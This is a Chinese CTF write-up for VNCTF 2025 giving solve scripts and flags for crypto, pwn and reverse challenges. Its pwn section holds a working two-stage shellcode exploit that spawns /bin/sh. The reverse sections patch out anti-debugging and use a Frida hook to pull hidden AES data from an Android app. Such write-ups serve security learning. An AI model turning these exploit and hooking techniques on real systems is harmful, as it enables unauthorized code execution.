VNCTF 2025 WP

Misc

VN_Lang

IDA分析VN_Lang_XXXX.exe字符串搜索VN得到Flag。

vnlang

Flag

VNCTF{i9UQEqFXgbJBI1LasSZmBxxXSNYFRyCkpydKvhZo7d9Ai}

Crypto

easymath

ai一把梭。

dec.sage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from sage.all import ZZ, PolynomialRing

R = PolynomialRing(ZZ, "x")
x = R.gen()
polynomial = x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619

roots = polynomial.roots()
primes = [int(r[0]) for r in roots]
N = primes[0] * primes[1] * primes[2]
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

square_roots = []
for p in primes:
root = power_mod(c, (p + 1) // 4, p)
square_roots.append((root, p))

possible_flags = []
for signs in [(1, 1, 1), (1, 1, -1), (1, -1, 1), (-1, 1, 1), (-1, -1, 1), (-1, 1, -1), (1, -1, -1), (-1, -1, -1)]:
crt_solution = crt([signs[i] * square_roots[i][0] % primes[i] for i in range(3)], primes)
possible_flags.append(crt_solution)

print(possible_flags)
#[55745449774035533604132123837354458550470434042238203561240895515463850669082841278843372190705837595737691650856096087615682512159689935652128349720357413457859444632369350, 125115225001407144448151513636019415817956856295873219712252392836948941964102523530173092625214575404136789335483571504152920024161726170211008255272440379726560839152801102, 121308689781282565030341210716083690163638176623957028113928015415750030819041672272612041957024041097790808247093717003449846352538078398824952421335589115302596759718820027, 60203414044033723113683626590079903689763905879374101193373685550258360403003508805935592269106120673140798276984048897114005911074753100616094921754147882416738708813989459, 325714524936805045870599916394859742487396082609853016904206306797799294429908134765584705104874385528562768869049154397624863645707696788955369048469602267457592373819517, 4132249745061384463680902836330585396806075754526044615228583727996710439490759392326635373295408691874543857258903655100698535269355468175011202985320866691421671807800592, 65237525482310226380338486962334371870680346499108971535782913593488380855528922859003085061213329116524553827368571761436538976732680766383868702566762099577279722712631160, 69695489752308415889889989715059817009973818336244869167915703628282890589449590386095305139613612193927660453496524570934862375647743931347835274600552568536158986894251269]

dec.py:

1
2
3
4
5
6
7
8
p =[55745449774035533604132123837354458550470434042238203561240895515463850669082841278843372190705837595737691650856096087615682512159689935652128349720357413457859444632369350, 125115225001407144448151513636019415817956856295873219712252392836948941964102523530173092625214575404136789335483571504152920024161726170211008255272440379726560839152801102, 121308689781282565030341210716083690163638176623957028113928015415750030819041672272612041957024041097790808247093717003449846352538078398824952421335589115302596759718820027, 60203414044033723113683626590079903689763905879374101193373685550258360403003508805935592269106120673140798276984048897114005911074753100616094921754147882416738708813989459, 325714524936805045870599916394859742487396082609853016904206306797799294429908134765584705104874385528562768869049154397624863645707696788955369048469602267457592373819517, 4132249745061384463680902836330585396806075754526044615228583727996710439490759392326635373295408691874543857258903655100698535269355468175011202985320866691421671807800592, 65237525482310226380338486962334371870680346499108971535782913593488380855528922859003085061213329116524553827368571761436538976732680766383868702566762099577279722712631160, 69695489752308415889889989715059817009973818336244869167915703628282890589449590386095305139613612193927660453496524570934862375647743931347835274600552568536158986894251269]

for f in p:
f_bytes = f.to_bytes((f.bit_length() + 7) // 8, byteorder="big")
if f_bytes.startswith(b'VNCTF'):
print(f_bytes.decode())

# VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}

Flag

VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}

Pwn

签个到吧

checksec

QQ_1739074297610

IDA分析pwn程序

QQ_1739073892530

发现就给22字节大小,可以写一个标准最短shell,但是execute函数清空了寄存器。

QQ_1739074388173

所以可以通过一段shellcode再read一次更大的空间。

接下来用shellcode调用/bin/sh即可。

参考:Pwn.the-Art-of-Shellcode | V3rdant’s Blog

payload.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.arch= 'amd64'

p = process("./pwn")
#p = remote("node.vnteam.cn",...)

shellcode = asm('''
xchg rdi, rsi
mov edi, eax
add edx, 0x114
syscall
''')

p.sendafter('try to show your strength \n',shellcode)

pay = b'0'*13 + asm('''
mov rsp, rsi
add rsp, 0x114
xor rsi, rsi
mul rsi
push r8
mov rcx, 0x68732f2f6e69622f
push rcx
mov rdi, rsp
mov al, 59
syscall
''')

p.send(pay)

p.interactive()

QQ_1739075764118

Flag

动态值

Reverse

Fuko’s starfish

IDA分析.exe程序发现最终游戏调用的是starfish.dll里面的函数,程序本身似乎没有与flag相关数据。

QQ_1739075923934

IDA分析.dll程序的play_snake函数,发现输出”u win”下面分支调用了一个Check函数(改名后的),Check函数有花指令,直接将图2红框部分nop即可F5分析。

QQ_1739076003936

QQ_1739076991040

可以看到函数内部就是主体流程,要解密一段字符串输出然后要求输入,加密最后与被加密的flag进行对比。

QQ_1739076094303

输入32长度字符串,被分为16字节为一个单位进行加密,进入加密函数发现有调试器检测,让数据走不同分支处理,直接将下图红框部分nop进行pass,然后将jz改成jmp即可(手动重新算一下相对偏移就行)。

QQ_1739077386431

QQ_1739077338900

可以通过算法特征识别出这是一个标准AES加密,没看出魔改的地方,但是密钥是从全局数据获取再经过一通计算拿的,计算过程不好看,考虑用动调获取,并且图1部分用密钥与输入进来的Input进行了异或,可以通过Input和这段数据进行异或获取到密钥。

QQ_1739076342223

QQ_1739076365537

看到DllMain似乎有反调试,但是似乎只扫描了进程,而且没检测ida,所以就不管了。

QQ_1739076850485

直接写一个程序来加载这个dll来call Check函数,便于调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <Windows.h>

int main()
{
auto hLib = LoadLibraryW(L"starfish.dll");
if (hLib)
{
auto Addr = (DWORD64)hLib + 0x25F0;
void (*funcPtr)() = reinterpret_cast<void(*)()>(Addr);
funcPtr();
}
return 0;
}

输入”1111111111111111”然后动调断点在下图断点,取出所有异或后的值,然后重新与输入字符再次异或拿到Key.

QQ_1739077545772

1
2
3
4
5
6
7
8
9
10
11
12
13
int main()
{
uint8_t Input[] = "1111111111111111";
uint8_t c[]{ 0x38,0xd4,0xCC,0xDA,0x59,0x00,0x44,0x87,0x80,0x0A,0xB5,0x39,0xA0,0xDA,0x49,0xE3 };
for (int i = 0; i < 16; i++)
{
printf("%02X ", Input[i] ^ c[i]);
}

// Key
// 09 E5 FD EB 68 31 75 B6 B1 3B 84 08 91 EB 78 D2
return 0;
}

再用cyberchef AES解密得到Flag.

QQ_1739077689242

Flag

VNCTF{W0w_u_g0t_Fuk0’s_st4rf1sh}

Hook Fish

jadx分析APK, 发现他会下载一个hook_fish.dex文件, 然后调用里面的check、encode、decode函数。但是他又会delete文件,所以得动调断点在这边然后手动去复制一份文件。

QQ_1739078061506

QQ_1739078112517

在delete前断点,启动调试,然后输入点击按钮断下,在文件夹中搜到hook_fish.dex复制到windows。

QQ_1739078448944

QQ_1739078521968

jadx分析hook_fish.dex可以发现有以下几个函数,以及一个被加密的flag。

QQ_1739078659633

使用decode函数即可解密第一层,第二层解密就是用apk里面的encrypt进行写解密函数。

QQ_1739078766431

这边发现加密后的1字节对2字节的,也就是从逐字节往后添加进行爆破,免得写解密函数了。

完整解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
import java.util.HashMap;

public class Main {
private HashMap<String, Character> fish_dcode;
private HashMap<Character, String> fish_ecode;
private String strr = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji";

public Main() {
encode_map();
decode_map();
}

public void encode_map() {
HashMap<Character, String> hashMap = new HashMap<>();
this.fish_ecode = hashMap;
hashMap.put('a', "iiijj");
this.fish_ecode.put('b', "jjjii");
this.fish_ecode.put('c', "jijij");
this.fish_ecode.put('d', "jjijj");
this.fish_ecode.put('e', "jjjjj");
this.fish_ecode.put('f', "ijjjj");
this.fish_ecode.put('g', "jjjji");
this.fish_ecode.put('h', "iijii");
this.fish_ecode.put('i', "ijiji");
this.fish_ecode.put('j', "iiiji");
this.fish_ecode.put('k', "jjjij");
this.fish_ecode.put('l', "jijji");
this.fish_ecode.put('m', "ijiij");
this.fish_ecode.put('n', "iijji");
this.fish_ecode.put('o', "ijjij");
this.fish_ecode.put('p', "jiiji");
this.fish_ecode.put('q', "ijijj");
this.fish_ecode.put('r', "jijii");
this.fish_ecode.put('s', "iiiii");
this.fish_ecode.put('t', "jjiij");
this.fish_ecode.put('u', "ijjji");
this.fish_ecode.put('v', "jiiij");
this.fish_ecode.put('w', "iiiij");
this.fish_ecode.put('x', "iijij");
this.fish_ecode.put('y', "jjiji");
this.fish_ecode.put('z', "jijjj");
this.fish_ecode.put('1', "iijjl");
this.fish_ecode.put('2', "iiilj");
this.fish_ecode.put('3', "iliii");
this.fish_ecode.put('4', "jiili");
this.fish_ecode.put('5', "jilji");
this.fish_ecode.put('6', "iliji");
this.fish_ecode.put('7', "jjjlj");
this.fish_ecode.put('8', "ijljj");
this.fish_ecode.put('9', "iljji");
this.fish_ecode.put('0', "jjjli");
}

public void decode_map() {
HashMap<String, Character> hashMap = new HashMap<>();
this.fish_dcode = hashMap;
hashMap.put("iiijj", 'a');
this.fish_dcode.put("jjjii", 'b');
this.fish_dcode.put("jijij", 'c');
this.fish_dcode.put("jjijj", 'd');
this.fish_dcode.put("jjjjj", 'e');
this.fish_dcode.put("ijjjj", 'f');
this.fish_dcode.put("jjjji", 'g');
this.fish_dcode.put("iijii", 'h');
this.fish_dcode.put("ijiji", 'i');
this.fish_dcode.put("iiiji", 'j');
this.fish_dcode.put("jjjij", 'k');
this.fish_dcode.put("jijji", 'l');
this.fish_dcode.put("ijiij", 'm');
this.fish_dcode.put("iijji", 'n');
this.fish_dcode.put("ijjij", 'o');
this.fish_dcode.put("jiiji", 'p');
this.fish_dcode.put("ijijj", 'q');
this.fish_dcode.put("jijii", 'r');
this.fish_dcode.put("iiiii", 's');
this.fish_dcode.put("jjiij", 't');
this.fish_dcode.put("ijjji", 'u');
this.fish_dcode.put("jiiij", 'v');
this.fish_dcode.put("iiiij", 'w');
this.fish_dcode.put("iijij", 'x');
this.fish_dcode.put("jjiji", 'y');
this.fish_dcode.put("jijjj", 'z');
this.fish_dcode.put("iijjl", '1');
this.fish_dcode.put("iiilj", '2');
this.fish_dcode.put("iliii", '3');
this.fish_dcode.put("jiili", '4');
this.fish_dcode.put("jilji", '5');
this.fish_dcode.put("iliji", '6');
this.fish_dcode.put("jjjlj", '7');
this.fish_dcode.put("ijljj", '8');
this.fish_dcode.put("iljji", '9');
this.fish_dcode.put("jjjli", '0');
}

public String encode(String str) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
sb.append(this.fish_ecode.get(Character.valueOf(str.charAt(i))));
}
return sb.toString();
}

public String decode(String str) {
StringBuilder sb = new StringBuilder();
int i = 0;
int i2 = 0;
while (i2 < str.length() / 5) {
int i3 = i + 5;
sb.append(this.fish_dcode.get(str.substring(i, i3)));
i2++;
i = i3;
}
return sb.toString();
}

public static String encrypt(String str) {
byte[] str1 = str.getBytes();
for (int i = 0; i < str1.length; i++) {
str1[i] = (byte) (str1[i] + 68);
}
StringBuilder hexStringBuilder = new StringBuilder();
for (byte b : str1) {
hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));
}
String str2 = hexStringBuilder.toString();
char[] str3 = str2.toCharArray();
codes(str3, 0);
for (int i2 = 0; i2 < str3.length; i2++) {
if (str3[i2] >= 'a' && str3[i2] <= 'f') {
str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));
} else {
str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));
}
}
return new String(str3);
}

private static void codes(char[] a, int index) {
if (index >= a.length - 1) {
return;
}
a[index] = (char) (a[index] ^ a[index + 1]);
a[index + 1] = (char) (a[index] ^ a[index + 1]);
a[index] = (char) (a[index] ^ a[index + 1]);
codes(a, index + 2);
}

public static void main(String[] args) {
// 解密一层
String encflag = new Main().decode("jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji");

System.out.println(encflag);

String candidates = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!?.~&*()_+=@#$%^";

StringBuilder decrypted = new StringBuilder();
int currentIndex = 0;
// 爆破
while (currentIndex < encflag.length())
{
boolean found = false;

// 遍历候选字符
for (char c : candidates.toCharArray())
{
// 加密
String encrypted = encrypt(decrypted + String.valueOf(c));

// 判断加密后的后两个字符是否与目标字符串匹配
String s1 = encrypted.substring(currentIndex, currentIndex + 2);
String s2 = encflag.substring(currentIndex, currentIndex + 2);

if (s1.equals(s2))
{
decrypted.append(c);
currentIndex += 2;
found = true;
break;
}
}
}

// 输出还原的明文
System.out.println(decrypted.toString());
// VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}
}
}

Flag

VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

kotlindroid

jadx分析发现有个check函数,这个Base64加密后的应该就是Flag,然后查看交叉调用找到上层。

d0aed962ce69b047bd07052cc50206ac

发现下面这边调用了check,传进来了一个key,直接动调断点获取。

img

在这边断点,即可看到两个modifiedKey数组,合并起来就是16字节的Key了。

{97,116,114,105,107,101,121,115,115,121,101,107,105,114,116,97}

cd8e014f2fe16b9a2a1bba1e2226049e

但是这边没看到和base64相关加密,全局搜索base64在SearchActivityKt$sec$1中的invokeSuspend函数中看到。

这边应该就是那边check函数invoke后跳过来的,可以看到是AES GCM加密,IV是”114514”,Key是Check那边断点拿到的,AAD数据没法直接获取,使用frida hook拦截JNI.INSTANCE.getAt()函数。

QQ_1739079484622

QQ_1739079580281

frida代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import frida
import sys

package_name = "com.atri.ezcompose"

hook_script = """
Java.perform(function () {
try {
var JNI = Java.use('com.atri.ezcompose.JNI');

var instance = JNI.INSTANCE.value;
console.log('INSTANCE: ' + instance);

instance.getAt.implementation = function () {
var result = this.getAt();
console.log("getAt result: " + result);
return result;
};
} catch (e) {
console.log("Error: " + e);
}
});
"""

def main():
device = frida.get_usb_device()
session = device.attach("ezCompose")
script = session.create_script(hook_script)
script.load()


if __name__ == "__main__":
main()

# INSTANCE: com.atri.ezcompose.JNI@f264edc
# getAt result: mysecretadd

拦截到ADD数据为”mysecretadd”

可以从主加密流程看到最后Base64是将IV加上被加密数据后在进行编码,所以将被加密的Flag进行Base64解码后去掉前面的”114514”就是原密文。

使用java进行解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class Main {

public static void main(String[] args) throws Exception{
String IV = "114514";
byte[] Key = {97,116,114,105,107,101,121,115,115,121,101,107,105,114,116,97};
byte[] AAdBytes = {109,121,115,101,99,114,101,116,97,100,100};
// 原密文
int [] Enc = {0x1c,0xcb,0x89,0x28,0xb3,0x96,0xd4,0x1a,0x82,0x02,0x2d,0x8c,0xc6,0x91,0xd8,0x8c,0x68,0xe9,0x3e,0xaf,0x36,0x5d,0x74,0x3f,0x8e,0x0c,0x79,0x59,0x8a,0xd9,0xd8,0xc5,0x79,0xdd,0xaf,0x71,0x8d,0x05,0x5b,0x45,0xa5,0x5d,0x46,0x25,0xc5,0xad,0x29,0xfa,0x11,0xc4,0x0f,0xcc};

GCMParameterSpec spec = new GCMParameterSpec(128, IV.getBytes());
SecretKeySpec keySpec = new SecretKeySpec(Key, "AES");

byte[] aas = new byte[Enc.length];
for (int i = 0; i < Enc.length; i++) {
aas[i] = (byte) Enc[i];
}

Cipher cipher = Cipher.getInstance("AES_128/GCM/NoPadding");
cipher.init(Cipher.DECRYPT_MODE,keySpec,spec);
cipher.updateAAD(AAdBytes);

byte[] Original = cipher.doFinal(aas);

String result = new String(Original, java.nio.charset.StandardCharsets.UTF_8);
System.out.println(result);

// VNCTF{Y0U_@re_th3_Ma5t3r_0f_C0mp0s3}
}
}

Flag

VNCTF{Y0U_@re_th3_Ma5t3r_0f_C0mp0s3}

抽奖转盘

jadx分析hap文件中的modules.abc文件

e2917f062e0a2de095ca14ce3b6c365e

在MyPage下发现一段字节数组。

QQ_1739080781927QQ_1739080763900

获取到一个字符串存到lexenv_0_0中,进行了一次forEach对每个字节进行了加密计算。然后再调用函数对比那个字节数组与被加密的字符串,比较是否相等,这边应该就是最后的一次加密和对比。可以将这段字节数组进行逆向计算,可以得到一串明文。

1
2
3
4
5
6
7
8
9
10
11
12
13

int main()
{
unsigned char EncFlag[]{ 101, 74, 76, 49, 101, 76, 117, 87, 55, 69, 118, 68, 118, 69, 55, 67, 61, 83, 62, 111, 81, 77, 115, 101, 53, 73, 83, 66, 68, 114, 109, 108, 75, 66, 97, 117, 93, 127, 115, 124, 109, 82, 93, 115 };
for (int i = 0; i < 44; i++)
{
EncFlag[i] ^= 7;
EncFlag[i] -= 1;
}

printf("%.44s\n", EncFlag);
// aLJ5aJqO/ApBpA/C9S8gUIsa1MSDBtijKDeqYwsziTYs
}

输出字符串像是Base64加密。

可以看到hap文件下有一个libhello.so。jadx全局搜索可以看到有调用libhello里面的MyCry函数,应该就是加密函数。

QQ_1739081075481

使用IDA进行逆向分析libhello.so,通过字符串搜搜MyCry查找交叉引用找到Call。

可以看到以下流程很清晰,获取字符串,将字符串进行RC4加密(密钥为”Take_it_easy”),然后再进行Base64加密,这边判断了一个值是否等于40走不同分支。

RC4加密流程没被魔改,就最后将加密数据多异或了一个值,两个分支分别是异或上了40和24。尝试后发现40可以解密出明文。

将之前解密到的Base64字串进行decode然后RC4解密即可。

QQ_1739081335258

QQ_1739081364253

解密代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k)
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}

int main()
{
// Cyberchef Base64 Decode("aLJ5aJqO/ApBpA/C9S8gUIsa1MSDBtijKDeqYwsziTYs")
unsigned char EncFlag[]{0x68,0xB2,0x79,0x68,0x9A,0x8E,0xFC,0x0A,0x41,0xA4,0x0F,0xC2,0xF5,0x2F,0x20,0x50,0x8B,0x1A,0xD4,0xC4,0x83,0x06,0xD8,0xA3,0x28,0x37,0xAA,0x63,0x0B,0x33,0x89,0x36,0x2C };
for (int i = 0; i < 33; i++)
EncFlag[i] ^= 40;

unsigned char Key[] = "Take_it_easy";
rc4_crypt(EncFlag, 33, Key, 12);

for (int i = 0; i < 33; i++)
EncFlag[i] -= 3;

printf("%.33s\n", EncFlag);

// VNCTF{JUst_$ne_Iast_dance_2025!}
return 0;
}

Flag

VNCTF{JUst_$ne_Iast_dance_2025!}